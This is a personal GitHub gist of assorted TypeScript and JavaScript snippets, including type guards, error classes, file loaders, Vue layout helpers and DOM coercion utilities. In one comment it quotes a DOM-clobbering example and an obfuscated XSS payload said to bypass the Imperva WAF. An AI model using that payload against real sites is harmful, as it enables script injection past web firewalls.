Skip to content

Instantly share code, notes, and snippets.

@renoirb
Last active February 7, 2023 19:58
Show Gist options
  • Save renoirb/16f391e0cbd4e4e04f368c06b396e650 to your computer and use it in GitHub Desktop.
Save renoirb/16f391e0cbd4e4e04f368c06b396e650 to your computer and use it in GitHub Desktop.
Some useful snippets

Some other useful snippets

Prettify

Found on Twitter

Imagine you've got some type that's got a bunch of intersections. When you hover over it, it gives you a bunch of gross intersections instead of displaying the resolved type

export type Flatten<T> = {
  [K in keyof T]: T[K];
} & {}

isObject

export const isObject = <T = Record<string, unknown>>(value: unknown): value is T => {
  // https://github.com/lodash/lodash/blob/4.17.21-es/isObject.js
  // https://github.com/DefinitelyTyped/DefinitelyTyped/blob/ca8d73db/types/lodash.isobject/index.d.ts
  const type = typeof value
  return value != null && (type == 'object' || type == 'function')
}

DOM user-defined Type Guards

export const isHtmlElement = (maybe: unknown): maybe is HTMLElement => {
  if (maybe && typeof maybe === 'function' && 'prototype' in maybe) {
    return 'title' in maybe || 'lang' in maybe || 'offsetParent' in maybe
  }
  return false
}

export const isElement = (maybe: unknown): maybe is Element => {
  if (isHtmlElement(maybe)) {
    return 'localName' in maybe || 'shadowRoot' in maybe
  }
  return false
}

export const isNode = (maybe: unknown): maybe is Node => {
  if (isElement(maybe)) {
    return 'ATTRIBUTE_NODE' in maybe || 'nodeName' in maybe || 'parentElement' in maybe || 'parentNode' in maybe
  }
  return false
}

Walking Record, anonymize one field

export const toAnonymizedCredentialMapString: (input: Record<string, unknown>) => string = input => {
  assert.equal(isObject(input), true, `Is not an HashMap object`)
  const copy: Record<string, string> = JSON.parse(JSON.stringify(input || {}))
  for (const [field, value] of Object.entries(copy)) {
    if (field === 'password' && value !== '') {
      copy[field] = '***'
    }
  }
 
  return JSON.stringify(copy)
}

Is Object

export const isObject = <T = Record<string, unknown>>(value: unknown): value is T => {
  // https://github.com/lodash/lodash/blob/4.17.21-es/isObject.js
  // https://github.com/DefinitelyTyped/DefinitelyTyped/blob/ca8d73db/types/lodash.isobject/index.d.ts
  const type = typeof value
  return value != null && (type == 'object' || type == 'function')
}

Record creation

export const TestUser = Object.freeze({
  /**
   * Account of someone who did upload their avatar photo
   */
  someUserAccountWithParticularRole: 'someUserAccountWithParticularRole',
} as const)
 
/**
 * Based on TestUser enum above, what are the acceptable keys.
 *
 * See:
 * - https://gist.github.com/renoirb/e8f48e4b54f16f9fb8f0bf38b6bc9c8d#using-read-only-array-of-strings-as-source-for-type
 * - https://gist.github.com/renoirb/d30e7edbe32d9c6b9c2006b13db7a016
 */
export const TEST_USERS_KEYS = Object.freeze(
  Object.entries(TestUser)
    .filter(i => 1 in i && typeof i[1] === 'string')
    .map(i => i[0])
    .sort(),
) as TestUserKeys[]

export type ITestUser = typeof TEST_USERS_KEYS[number]


export type ICredential {
  username: string
  password: string
}

export type ITestUserCredientialMap = Record<ITestUser, ICredential>

export const readCredentialMapFromProcessEnv = (
  input: ITestUserCredientialMap,
  env: NodeJS.ProcessEnv
): ITestUserCredientialMap => {
  const username = Reflect.has(env, input.username) ? Reflect.get(env, input.username) : null
  const password = Reflect.has(env, input.password) ? Reflect.get(env, input.password) : null
  const missing = Object.entries<Record<string, string | void>>({ username, password })
    .map(v => (v[1] === null ? `${v[0]}: ${Reflect.get(input, v[0])}` : undefined))
    .filter(Boolean)
  if (missing.length > 0) {
    const message = `We could not find process.env.<key> for: ${missing.join(', ')}`
    throw new Error(message)
  }
  const out: ITestUserCredientialMap = {
    username,
    password,
  }
  // assertIsTestUserCredientialMap(out)
  return out
}

export const TEST_USERS_CREDENTIAL_MAP: ITestUserCredientialMap = {
  someUserAccountWithParticularRole: {
    username: 'jdoe',
    password: 'password123!',
  },
}

NestedError

/**
 * Subclass of standard `Error` that eagerly collects the callstack of the error
 * that caused it. This way you can investigate the core problem that happened
 * by looking at the callstack from up to bottom (from higher level errors to
 * lower level).
 *
 * Bookmark:
 * - https://github.com/Veetaha/ts-nested-error/blob/2bb11d66/src/nested-error.ts#L7-L86
 */
export class NestedError extends Error {
  /**
   * Combined callstack of this error and the errors that it wraps.
   * If the JavaScript runtime doesn't support `Error::stack` property
   * this will contain only the concatenated messages.
   */
  readonly stack: string

  /**
   * The list of lower-level errors wrapped by this error.
   */
  readonly innerErrors: Error[]

  private static readonly getErrorReport =
    typeof new Error().stack === 'string' ? (err: Error) => err?.stack : (err: Error) => `${err.name}: ${err.message}`

  /**
   * Returns the function that accepts any value that was thrown as the first argument and
   * throws it wrapped into `NestedError` or class derived from `NestedError` (provided
   * this method was called directly in the context of that dervied class constructor)
   * with the given `message`.
   * Returned function will pass accepted `Error` object directly to `NestedError`
   * as `innerErrors` by invoking `toError(err)` on it.
   *
   * You'll most likely want to use this method with promises:
   *
   * ```ts
   * userService.getPage().then(
   *     data => console.log(`Hooray! data: ${data}`),
   *     NestedError.rethrow('failed to fetch users page')
   * );
   * ```
   *
   * @param message Message to attach `NestedError` created by the returned function.
   */
  static rethrow(message: string) {
    return (...errs: unknown[]) => {
      throw new this(message, ...errs)
    }
  }

  /**
   * Allocates an instance of `NestedError` with the given error `message` and
   * optional `innerError` (which will be automatically coerced using `toError()`).
   *
   * @param message     Laconic error message to attach to the created `NestedError`.
   * @param innerErrors Optional errors that will be wrapped by this higher level
   *                    error. This value will be automatically coerced using `toError()`.
   */
  constructor(message?: string, ...innerErrors: unknown[]) {
    super(message)
    const thisErrorReport = NestedError.getErrorReport(this)
    if (innerErrors.length === 1) {
      const innerError = toError(innerErrors[0])
      this.innerErrors = [innerError]
      const errReport = NestedError.getErrorReport(innerError)
      this.stack = `${thisErrorReport}\n\n======= INNER ERROR =======\n\n${errReport}`
      return
    }
    this.innerErrors = innerErrors.map(err => toError(err))
    const innerErrorReports = this.innerErrors
      .map((error, idx) => {
        const errReport = NestedError.getErrorReport(error)
        return `======= INNER ERROR (${idx + 1} of ${innerErrors.length}) =======\n\n${errReport}`
      })
      .join('\n\n')
    this.stack = `${thisErrorReport}\n\n${innerErrorReports}`
  }
}

/**
 * Returns `err` itself if `err instanceof Error === true`, otherwise attemts to
 * stringify it and wrap into `Error` object to be returned.
 *
 * **This function is guaranteed never to throw.**
 *
 * @param err Possbile `instanceof Error` to return or value of any type that will
 *            be wrapped into a fully-fledged `Error` object.
 *
 * Bookmark:
 * - https://github.com/Veetaha/ts-nested-error/blob/2bb11d66/src/nested-error.ts#L97-L120
 */
export function toError(err: unknown): Error

export function toError(err: unknown) {
  try {
    return err instanceof Error ? err : new Error(`Value that is not an instance of Error was thrown: ${err}`)
  } catch {
    return new Error(
      'Failed to stringify non-instance of Error that was thrown.' +
        'This is possibly due to the fact that toString() method of the value' +
        "doesn't return a primitive value.",
    )
  }
}

/**
 * Not Implemented Exception
 *
 * To signify that we should implement this method or function
 */
export class NotImplementedException extends NestedError {
  constructor(message = '', innerException?: Error) {
    const fallbackMessage = 'not implemented'
    const msg = message !== '' && /\s/.test(message) === false ? `${message} is ${fallbackMessage}` : fallbackMessage
    super(msg, innerException)
  }
}

ReadOnlySet

export const createReadOnlySet = <T>(items: readonly string[] = []): ReadonlySet<T> => {
  const message = `Invalid argument, we only support an array of strings`
  if (Array.isArray(items) === false) {
    throw new TypeError(message)
  }
  if (items.filter(maybe => typeof maybe !== 'string' || maybe === '').length > 0) {
    throw new TypeError(message)
  }
  const applicable = (items ?? []).filter(maybe => typeof maybe === 'string' && maybe === '')
  const mutableSet = new Set(applicable)
  const has = (maybe: T | unknown) => mutableSet.has(maybe as string)
  const keys = (): IterableIterator<T> => mutableSet.keys.bind(mutableSet)
  const iterator = (): IterableIterator<T> => mutableSet[Symbol.iterator].bind(mutableSet)

  return {
    [Symbol.iterator]: iterator,
    forEach: mutableSet.forEach.bind(mutableSet),
    entries: mutableSet.entries.bind(mutableSet),
    has,
    keys,
    values: keys,
    size: mutableSet.size,
  } as ReadonlySet<T>
}

Load from static files

initial

/**
 * Load data from static files.
 *
 * ```ts
 * // JSON files
 * import { loadAllJsonFiles, loadAllFilesAsOneString } from 'file-loading'
 * export const users = loadAllJsonFiles(/^user.*\.json$/, 'fixtures')
 *
 * // Stitch GraphQL
 * const typeDefs = `
 * ${loadAllFilesAsOneString(/\.graphql$/, 'schema').join('\n')}
 * type Query {
 *   hello(name: String): String!
 *   users: [User]!
 * }
 * `
 * ```
 */


import { readdirSync, statSync, readFileSync } from 'fs'
import { join } from 'path'
import * as loadJsonFile from 'load-json-file'

/**
 * Find files and return only ones with contents matching name
 */
const getFilePathsFinder = (
  fileNameRegExp: RegExp,
  fullPath: string,
): string[] => {
  const files: string[] = []

  const directoryExists = statSync(fullPath).isDirectory()
  if (directoryExists) {
    const fileNames: string[] = readdirSync(fullPath, { encoding: 'utf-8' })
      .filter(fileName => fileNameRegExp.test(fileName))
      .map(fileName => join(fullPath, fileName))
    files.push(...fileNames)
  }

  return files
}

export const getFilePaths = (
  fileNameRegExp: RegExp,
  relativeDirName?: string,
): string[] => {
  const fullPath = relativeDirName
    ? join(__dirname, relativeDirName)
    : join(__dirname)
  // console.log('getFilePaths', { relativeDirName, fullPath })
  const files = getFilePathsFinder(fileNameRegExp, fullPath)
  return files
}

export const loadAllJsonFiles = (pattern: RegExp, relativeDirName: string) =>
  (() => {
    const files = getFilePaths(pattern, relativeDirName)
    const parsed: any[] = []
    for (const filePath of files) {
      try {
        const contents = loadJsonFile.sync(filePath)
        if (Array.isArray(contents)) {
          parsed.push(...contents)
        }
      } catch (e) {
        console.log('loadAllFiles loading error', e)
      }
    }

    return parsed
  })()

export const loadAllFilesAsOneString = (
  pattern: RegExp,
  relativeDirName: string,
) =>
  (() => {
    const files = getFilePaths(pattern, relativeDirName)
    // console.log('loadAllFilesAsOneString', files)
    const contents: string[] = []
    for (const filePath of files) {
      try {
        const fileContents = readFileSync(filePath, { encoding: 'utf-8' })
        contents.push(fileContents)
      } catch (e) {
        console.log('loadAllFiles loading error', e)
      }
    }

    return contents
  })()

LayoutVariant

Parts of the mechanics to observe the current window size and tell a different variant. Here only one variant (either "mobile" or "desktop"), but could be adapted and configurable to not be bound to a framework

source from PR on vue-admin-template

const WIDTH = 992 // refer to Bootstrap's responsive design

export function onMounted() {
  const hasMethod = Reflect.has(this, 'checkIfMobile')
  const hasResizeHandler = Reflect.has(this, 'onResize')
  const hasEl = Reflect.has(this, '$el')
  if (hasMethod && hasResizeHandler && hasEl) {
    const isMobile = this.checkIfMobile()
    const { defaultView } = this.$el.ownerDocument
    const handler = this.onResize
    const layoutVariant = isMobile ? 'mobile' : 'desktop'
    this.layoutVariant = layoutVariant
    this.$emit('layout-variant', layoutVariant)
    defaultView.addEventListener('resize', handler)
    if (isMobile) {
      this.$emit('layout-sidebar', { opened: false, withoutAnimation: true })
    }
  } else {
    const message = `Please make sure you attach onMounted event handler to a Vue mounted lifecycle hook`
    throw new Error(message)
  }
}

export function checkIfMobile() {
  const hasEl = Reflect.has(this, '$el')
  const mobileBreakPoint = this.mobileBreakPoint ? this.mobileBreakPoint : WIDTH
  let isMobile = false
  if (hasEl) {
    const $el = this.$el
    let bodyRectWidth = mobileBreakPoint
    const hasOwnerDocument = 'ownerDocument' in $el
    let hasMethodName = false
    if (hasOwnerDocument) {
      const { body } = $el.ownerDocument
      hasMethodName = 'getBoundingClientRect' in body
      if (hasMethodName) {
        const bodyRect = body.getBoundingClientRect()
        bodyRectWidth = bodyRect.width
      }
    }
    isMobile = bodyRectWidth - 1 < mobileBreakPoint

    return isMobile
  } else {
    const message = `Please make sure you attach checkIfMobile to a Vue component as a method`
    throw new Error(message)
  }
}

/** @type {import('vue').VueConstructor} */
const main = {
  data() {
    const layoutVariant = 'desktop'
    const layoutIsHidden = false
    return {
      layoutVariant,
      layoutIsHidden
    }
  },
  props: {
    mobileBreakPoint: {
      type: Number,
      default: WIDTH
    },
    checkIfMobile: {
      type: Function,
      default() {
        return checkIfMobile.call(this)
      }
    }
  },
  computed: {
    isMobile() {
      const layoutVariant = this.layoutVariant
      return layoutVariant === 'mobile'
    }
  },
  async beforeDestroy() {
    const handler = this.onResize
    const $el = this.$el
    await this.$nextTick(async() => {
      const { defaultView } = $el.ownerDocument
      defaultView.removeEventListener('resize', handler)
    })
  },
  async mounted() {
    await this.$nextTick(onMounted.bind(this))
  },
  methods: {
    onResize() {
      const { hidden = false } = this.$el.ownerDocument
      const isMobile = this.checkIfMobile(this)
      const layoutVariant = isMobile ? 'mobile' : 'desktop'
      const layoutVariantChanged = layoutVariant !== this.layoutVariant
      this.layoutVariant = layoutVariant
      if (!hidden && layoutVariantChanged) {
        this.$emit('layout-variant', layoutVariant)
        this.$emit('layout-navbar', {
          fixed: isMobile
        })
        this.$emit('layout-sidebar', {
          opened: !isMobile,
          withoutAnimation: true
        })
      }
    }
  }
}

export default main
@renoirb
Copy link
Author

renoirb commented Apr 9, 2021

@renoirb
Copy link
Author

renoirb commented Apr 15, 2021

Insightful Tweets

Checklists found via Tweets

TypeScript derived type, by Jamie Kyle in reply to Wes Bos

Value-derived types in TypeScript are super powerful, but you should be thoughtful in how/when you use them
I've written this gist as a guide to understanding the tradeoffs involved:

SVG in favicon

Now that all modern browsers support SVG favicons, here's how to turn any emoji into a favicon.svg:

<svg xmlns="http://w3.org/2000/svg" viewBox="0 0 100 100">
  <text y=".9em" font-size="90">
    Pile of poo
  </text>
</svg>

Useful for quick apps when you can't be bothered to design a favicon!

"Today we’re releasing Chapter 5. It introduces layout trees, the data structure at the center of layout. Building, laying out, and rendering layout trees is how every web page you view is rendered!"

Malicious code analysis

Override getElementById by creating DOM node <e id=getElementById />

<img id="getElementById" name="activeElement" src="data:image/gif;base64,R0lGODlhAQABAJAAAP8AAAAAACwAAAAAAQABAAACAgQBADs=">

What now? 😈

XSS HTML Payload that could have been used to bypass a WAF by Pinaki ❄️

A solid XSS payload that bypasses Imperva WAF 😄

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

Jokes

A product manager walks into a bar, asks for drink (...)

A product manager walks into a bar, asks for drink.
Bartender says no, but will consider adding later.

@renoirb
Copy link
Author

renoirb commented Apr 15, 2021

JavaScript puzzles

function scope and setTimeout

for (var i = 0; i < 10; ++i) {
  setTimeout(function () {
    alert(i);
  }, 1000);
}

@renoirb
Copy link
Author

renoirb commented Apr 15, 2021

Specs

Insightful bits from known OSS source

@renoirb
Copy link
Author

renoirb commented May 6, 2021

IndexedDB

Creating a fresh collection of items

Basically anything indexedDB is a "transaction", reading it should be a "readonly" and tell the search criteria ("IDBKeyrange") and iterate over the result ("cursor" MDN link)

See indexedDB example "displayData" used in MDN IDBCursor But, adapted here to return an object instead of mutating the DOM. I've also mixed with IDBKeyRange example from MDN IDBKeyRange page

// Just a quick port in TypeScript, as an illustration
export const createMap /* displayData */ = async <T>(
  db: IDBDatabase,
  key: keyof T,
): Promise<Map<string, T>> => {
  const items = new Map<string, T>()
  const transaction = db.transaction(['rushAlbumList'], 'readonly');
  const objectStore = transaction.objectStore('rushAlbumList');

  // https://developer.mozilla.org/en-US/docs/Web/API/IDBIndex/openCursor
  // https://developer.mozilla.org/en-US/docs/Web/API/IDBKeyRange#examples
  const keyRangeValue = null; // Or... depending of schema something like: IDBKeyRange.bound("A", "F")
  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
    const cursor = event.target.result
    if(cursor) {
      const value = cursor.value // This will depend of the shape of each object
      const key: keyof T = value[key]
      // see also
      // console.log(cursor.source)
      // console.log(cursor.key)
      // console.log(cursor.primaryKey)
      // console.log(cursor.value)

      items.set(key, value)
      cursor.continue()
    }
  }
  // TODO: Fill this asynchronously and resolve with items filled up.
}

For async bit, read more from this article IndexedDB with Promises and async/await, and the suggested use of Jake Archibald (a core Google Chrome dev) "idb" (while reading code; oh(!) look at this actually useful use of WeakMap)

@renoirb
Copy link
Author

renoirb commented May 6, 2021

Packaging

Building a views entry point

@renoirb
Copy link
Author

renoirb commented May 12, 2021

Coerce to Document

// import { JSDOM } from 'https://cdn.skypack.dev/@types/jsdom'
import { coerceToWindow, assertsIsDocument, mustCoerceToOwnerDocument } from './coercers'

describe('coercers', () => {
  // https://www.npmjs.com/package/@types/jsdom
  /** @type {import('@types/jsdom')} */
  const jsdom = jest.requireActual('jsdom')
  let doc: Document

  beforeEach(() => {
    const { JSDOM } = jsdom
    const vm = new JSDOM(
      `<html data-example="hello"><head /><body><h1>Hi</h1><div><div id="app">Nested</div></div></body></html>`,
      {
        pretendToBeVisual: true,
        beforeParse(w: Window) {
          w.document.addEventListener('error', (...args) => {
            console.log('beforeParse error', args)
            throw new Error('error')
          })
        },
      },
    )
    assertsIsDocument(vm.window.document)
    doc = vm.window.document as Document
  })

  describe('mustCoerceToOwnerDocument', () => {
    it('should not throw when is a valid document', () => {
      expect(() => mustCoerceToOwnerDocument(doc)).not.toThrow()
      expect(() => mustCoerceToOwnerDocument(document /* Jest's internal JSDOM instance */)).not.toThrow()
    })
    it('should also work with a window object', () => {
      expect(() => mustCoerceToOwnerDocument(window /* Jest's internal JSDOM instance */)).not.toThrow()
    })
    it('can get the ownerDocument from a child node', () => {
      expect(() => mustCoerceToOwnerDocument(doc.getElementById('app'))).not.toThrow()
      expect(mustCoerceToOwnerDocument(doc.getElementById('app')).documentElement).toHaveAttribute(
        'data-example',
        'hello',
      )
    })
  })

  describe('assertsIsDocument', () => {
    it('should not throw when is a valid document', () => {
      expect(() => assertsIsDocument(doc)).not.toThrow()
      expect(() => assertsIsDocument(document /* Jest's internal JSDOM instance */)).not.toThrow()
    })
  })

  describe('coerceToWindow', () => {
    it('should not throw when is a valid document', () => {
      expect(() => coerceToWindow(doc)).not.toThrow()
      expect(() => coerceToWindow(document /* Jest's internal JSDOM instance */)).not.toThrow()
      expect(coerceToWindow(doc)).toHaveProperty('name')
    })
  })
})

Implementation

/**
 * From an HTMLElement within a DOM realm (i.e. current window), or from a UI event (e.g. form submit), get to the document.
 *
 * This method throws, make sure it either doesn't or make sure you catch it.
 *
 * For user-defined assertion function, use {@link assertIsDocument}
 *
 * @param node an HTMLElement in the DOM where we want to get to the "document" of that realm
 * @returns Document
 */
export const mustCoerceToOwnerDocument: (node: unknown) => Document = node => {
  let message = 'We did not receive a valid DOM node'
  let d: Document | undefined
  if (node && typeof node === 'object') {
    // From event: https://github.com/renoirb/site/blob/3592831c/components/global/AppTwitterQuote.ts#L15-L33
    // So we can get document from a DOM event
    if ('view' in node && 'detail' in node) {
      // https://developer.mozilla.org/en-US/docs/Web/API/Event
      // https://developer.mozilla.org/en-US/docs/Web/API/UIEvent
      const uievent = node as UIEvent
      if (uievent.view) {
        d = uievent.view.document
      } else {
        message += ', we received an "UIEvent" but yet could not find a document from it'
      }
    }
    // When has a document property
    if ('document' in node) {
      const w = node as { document?: Document }
      if (w.document && w.document.nodeType === Node.DOCUMENT_NODE) {
        d = w.document as Document
      }
    }
    // When has an ownerDocument property
    if ('nodeType' in node && 'ownerDocument' in node) {
      const unkownElement: { ownerDocument?: Document | null } = node
      const { ownerDocument = null } = unkownElement
      if (ownerDocument !== null) {
        d = unkownElement.ownerDocument ?? void 0
      } else if (ownerDocument === null) {
        d = node as Document
      }
    }
    if (d && typeof d === 'object' && 'defaultView' in d && 'body' in d && 'nodeType' in d) {
      const { nodeType = 0, body } = d as Document
      // https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
      if (nodeType === Node.DOCUMENT_NODE && body.nodeType === Node.ELEMENT_NODE) {
        return d
      }
    }
  }
  throw new TypeError(message)
}

/**
 * Ensure we have a valid Document object before accessing it.
 *
 * @param node - any object that might be a valid Document
 */
export const assertsIsDocument: (node: unknown) => asserts node is Document = node => {
  let mustBeTrue = false
  let message = 'We could not confirm we received a Document object'
  try {
    mustCoerceToOwnerDocument(node ?? null)
    // Above must throw if is not a Document node
    mustBeTrue = true
  } catch (e) {
    message += e
  }
  if (!mustBeTrue) {
    throw new TypeError(message)
  }
  // Since it's a TypeScript user defined assertion function it either throws or return void
}

/**
 * Ensure we have a valid Window object before accessing it.
 *
 * @param node - any object that might be a valid Window
 */
export const assertsIsWindow: (node: unknown) => asserts node is Window = node => {
  let mustBeTrue = false
  let message = 'We could not confirm we received a Window object'
  try {
    const d = mustCoerceToOwnerDocument(node ?? null)
    if (d.defaultView) {
      /** @TODO Ensure defaultView is the appropriate getter for both child window, and main */
      mustBeTrue = true
    } else {
      message += ': there was no defaultView property found and could not find the right window realm'
    }
  } catch (e) {
    message += ': ' + e
  }
  if (!mustBeTrue) {
    throw new TypeError(message)
  }
  // Since it's a TypeScript user defined assertion function it either throws or return void
}

/**
 * Safely coerce to Window.
 *
 * @param node an HTMLElement or a part ofthe DOM where we want to get to the "window" of that realm
 * @returns Window
 */
export const coerceToWindow: (node: unknown) => Window = node => {
  let w: Window
  try {
    const d = mustCoerceToOwnerDocument(node)
    // Above must throw
    if ('defaultView' in d && d.defaultView) {
      w = d.defaultView
    }
  } catch (_e) {
    /** @TODO Ideally it should just be figured out above. */
    w = globalThis ?? window
  }
  return w
}

@renoirb
Copy link
Author

renoirb commented May 26, 2021

DOM

Focus

https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API

document.addEventListener('visibilitychange', () => { if (document[hidden]) { document.title = 'Is hidden';  } else { document.title = 'Is Visible'; } }, false);

Checkbox using SVG

See this Gist Input type checkbox activated by button

Know when a piece of UI is visible

Similar to the idea of Generate a document based on data, but now there's a native way of doing, it's called "Intersection Observer API"

State management

Validate data using TypesScript types

See ts-to-zod

Poor man's component property manager

We might want a simple "ComponentData" state for a component and its properties, and handle transition changes.

One way could be to use Observables, (or Mutation Observer) or Proxies.

Experiment gist

Generate a document based on data

Say we have a load of data, and want to generate a print friendly report.

First page would be with a known number of boxes with lists and the surplus should be organized in annex pages

Link to experiment

@renoirb
Copy link
Author

renoirb commented Jun 10, 2021

Ideas

View Port change handler and a Vue.js usage

type ViewPortSizes = 'lg' | 'xl' | 'md' | 'xs'

type ViewPortChangeEvent = (from: ViewPortSizes, to: ViewPortSizes) => void

type ViewPortAdaptHandler = (data: ViewPortChangeEvent) => void

class ViewPortState {
  #size: ViewPortSizes = 'sm'
  get size(): ViewPortSizes {
    return this.#size
  }
  constructor(handler: ViewPortAdaptHandler) {
  }
  // ...
}

In Vue

export default {
  emits: {
    viewPortChange: (data: ViewPortChangeEvent) => {
      // Change anything locally to adapt to new size
      // ideally thre should be no from, to with the same value
      this.$emit('update:viewPort', data.to)
      // which would change the value of the local viewPort reactive property in setup
    }
  },
  methods: {
    changeViewPort: (event: ViewPortChangeEvent): void => {
      // Do this only when ViewPortState noticed a change
      // in fast or lit or react or angular, that communication will vary
      // this is new Vue 3, not sure yet how to properly declare
      this.$emit('viewPortChange', event)
    }
  }
  setup() {
    const vp = new ViewPortState(this.changeViewPort)
    // When an event changes ViewPortState will call the method passed at construcot
    const viewPort = ref('sm')
    return {
      viewPort,
    }
  }
}

@renoirb
Copy link
Author

renoirb commented Aug 17, 2021

Memory management and Node.js

test -f /sys/fs/cgroup/memory/memory.limit_in_bytes && cat /sys/fs/cgroup/memory/memory.limit_in_bytes

@renoirb
Copy link
Author

renoirb commented Oct 6, 2021

import * as z from 'zod'

import SVG_CLOCK_ACTIVE from '@getgo/chameleon-icons/dist/clock-active.svg?raw'
import SVG_CLOCK_INACTIVE from '@getgo/chameleon-icons/dist/clock-inactive.svg?raw'
import SVG_PRESENCE_AVAILABLE from '@getgo/chameleon-icons/dist/presence-available.svg?raw'
import SVG_PRESENCE_BUSY_ACTIVE from '@getgo/chameleon-icons/dist/presence-busy-active.svg?raw'
import SVG_PRESENCE_BUSY_INACTIVE from '@getgo/chameleon-icons/dist/presence-busy-inactive.svg?raw'
import SVG_PRESENCE_DND from '@getgo/chameleon-icons/dist/presence-dnd.svg?raw'
import SVG_PRESENCE_OFFLINE from '@getgo/chameleon-icons/dist/presence-offline.svg?raw'

/**
 * Keep only the raw contents, no passing to lit html just yet
 */
export const ChameleonPresenceIndicatorIconMap = new Map<string, string>([
  ['SVG_PRESENCE_AVAILABLE', SVG_PRESENCE_AVAILABLE],
  ['SVG_PRESENCE_BUSY_ACTIVE', SVG_PRESENCE_BUSY_ACTIVE],
  ['SVG_PRESENCE_BUSY_INACTIVE', SVG_PRESENCE_BUSY_INACTIVE],
  ['SVG_CLOCK_ACTIVE', SVG_CLOCK_ACTIVE],
  ['SVG_CLOCK_INACTIVE', SVG_CLOCK_INACTIVE],
  ['SVG_PRESENCE_DND', SVG_PRESENCE_DND],
  ['SVG_PRESENCE_OFFLINE', SVG_PRESENCE_OFFLINE],
]) as ReadonlyMap<string, string>

/**
 * Which ChameleonIcons has two variants.
 *
 * For those, we will want to replace from the string "active" to "inactive" in their names.
 *
 * @internal
 */
const ChameleonIconsActiveInactive: ReadonlyArray<RegExp> = [
  /**
   * We have "BUSY" with two variants.
   *
   * @example
   * ```ts
   * const SVG_PRESENCE_BUSY_ACTIVE
   * const SVG_PRESENCE_BUSY_INACTIVE
   * ```
   */
  /_BUSY/,
  /**
   * We have "CLOCK" with two variants.
   *
   * @example
   * ```ts
   * const SVG_CLOCK_ACTIVE
   * const SVG_CLOCK_INACTIVE
   * ```
   */
  /_CLOCK/,
] as const

/**
 * @internal
 */
const isActiveInactive = (fileName: string): boolean =>
  ChameleonIconsActiveInactive.map((r) => r.test(fileName)).includes(true)

/**
 * Icons we support loading dynamically from @getgo/chameleon-icons.
 *
 * Each key would be in @getgo/chameleon-icons starting by "SVG_..."
 */
export enum ChameleonIconsPresenceEnum {
  /**
   * SVG_PRESENCE_AVAILABLE
   */
  AVAILABLE = 'SVG_PRESENCE_AVAILABLE',
  /**
   * SVG_PRESENCE_BUSY_ACTIVE
   * SVG_PRESENCE_BUSY_INACTIVE
   */
  BUSY = 'SVG_PRESENCE_BUSY_ACTIVE',
  /**
   * SVG_CLOCK_ACTIVE
   * SVG_CLOCK_INACTIVE
   */
  AWAY = 'SVG_CLOCK_ACTIVE',
  /**
   * SVG_PRESENCE_DND
   */
  DND = 'SVG_PRESENCE_DND',
  /**
   * SVG_PRESENCE_OFFLINE
   */
  OFFLINE = 'SVG_PRESENCE_OFFLINE',
}
/*

*/

export const ChameleonIconsPresenceEnumCodec = z.nativeEnum(ChameleonIconsPresenceEnum)
export type ChameleonIconsPresenceEnumCodec = z.infer<
  typeof ChameleonIconsPresenceEnumCodec
>
// const IconSlugToChameleonEnum = ChameleonIconsEnumCodec.enum()

enum IconSlugToChameleonEnum {
  AVAILABLE,
}

export const IconSlugToChameleonEnumCodec = z.nativeEnum(IconSlugToChameleonEnum)
export type IconSlugToChameleonEnumCodec = z.infer<typeof IconSlugToChameleonEnumCodec>

export type IconSlug = ChameleonIconsPresenceEnum

/**
 * Map an icon "slug" into an SVG file name for @getgo/chameleon-icons
 *
 * @internal
 *
 * @param slug - Name of an icon
 * @param active - If there is an available "active" use that file name, otherwise use "inactive" variant
 */
export const fromIconSlugToChameleonSvgFileName = (
  slug: IconSlug | string,
  active = false,
): string => {
  // Should throw right here
  const iconSetsLookup = [
    // For now, only presence icons
    ChameleonIconsPresenceEnumCodec.safeParse(slug),
    // We will have many more...
  ].filter(
    (zodSafeParseResult) =>
      zodSafeParseResult.success && typeof zodSafeParseResult.data === 'string',
  )
  // Check if any set had a match ^, rest we do not need
  // Extract only the icon name
  const matchingIconNames = iconSetsLookup.map((zodSafeParseResult) =>
    zodSafeParseResult.success ? zodSafeParseResult.data : undefined,
  )
  // Take the first in the lot
  const parsedSlug = matchingIconNames.length > 0 ? matchingIconNames[0] : undefined
  if (typeof parsedSlug !== 'string') {
    const message = `We could not handle ${slug}, it returned ${parsedSlug}`
    throw new Error(message)
  }
  let fileName = parsedSlug as string
  type FileNameVariant = 'ACTIVE' | 'INACTIVE'
  // We said we want the "active" or "inactive" variant, and that slug applies to that
  if (isActiveInactive(fileName)) {
    const variant: FileNameVariant = active === true ? 'ACTIVE' : 'INACTIVE'
    const mutateFileNameForVariant = (name: string, variant: FileNameVariant): string =>
      variant === 'INACTIVE' ? name.replace(/_ACTIVE/, '_INACTIVE') : name
    const buildFileName = (name: string, variant?: FileNameVariant): string =>
      typeof variant === 'string' ? mutateFileNameForVariant(name, variant) : name
    fileName = buildFileName(fileName, variant)
  }

  return fileName
}

export const getPresenceIndicatorIcon = (
  slug: IconSlug | string,
  active = false,
): string => {
  const fileName = fromIconSlugToChameleonSvgFileName(slug, active)
  const contents = ChameleonPresenceIndicatorIconMap.get(fileName)
  if (contents) {
    return contents
  }
  const message = `There are not icon available for "${slug}"`
  throw new Error(message)
}

@renoirb
Copy link
Author

renoirb commented Oct 13, 2021

Make an SVG string

Scavenged from

/**********************************************
 *
 * Generate a SVG image as a data uri
 *
 * Scavenged from:
 * https://github.com/renoirb/roughdraft.js/blob/df7cc0453bb4f7a2d6fea56938f1bbc3148c72e1/jquery.roughdraft.js#L1213
 *
 * @author Doug Schepers <schepers@w3.org>
 *
 **********************************************/

const makeSVG = (width, height, color, wireframes) => {
  const font = 'sans-serif'
  const fontsize = 20
  if (65 > width) {
    fontsize = width / 4
  }
  const fontcolor = 'white'
  if (!color) {
    color = 'gray'
  } else if ('white' == color) {
    color = 'black'
  }
  width = parseFloat(width)
  height = parseFloat(height)
  let svgStringOutcome =
    '<svg xmlns="http://www.w3.org/2000/svg" width="' +
    width +
    '" height="' +
    height +
    '">'
  svgStringOutcome += '<rect width="100%" height="100%" fill="' + color + '"/>'
  if (wireframes) {
    svgStringOutcome +=
      '<line x1="0" x2="' +
      width +
      '" y1="0" y2="' +
      height +
      '" stroke="gainsboro"/><line x1="' +
      width +
      '" x2="0" y1="0" y2="' +
      height +
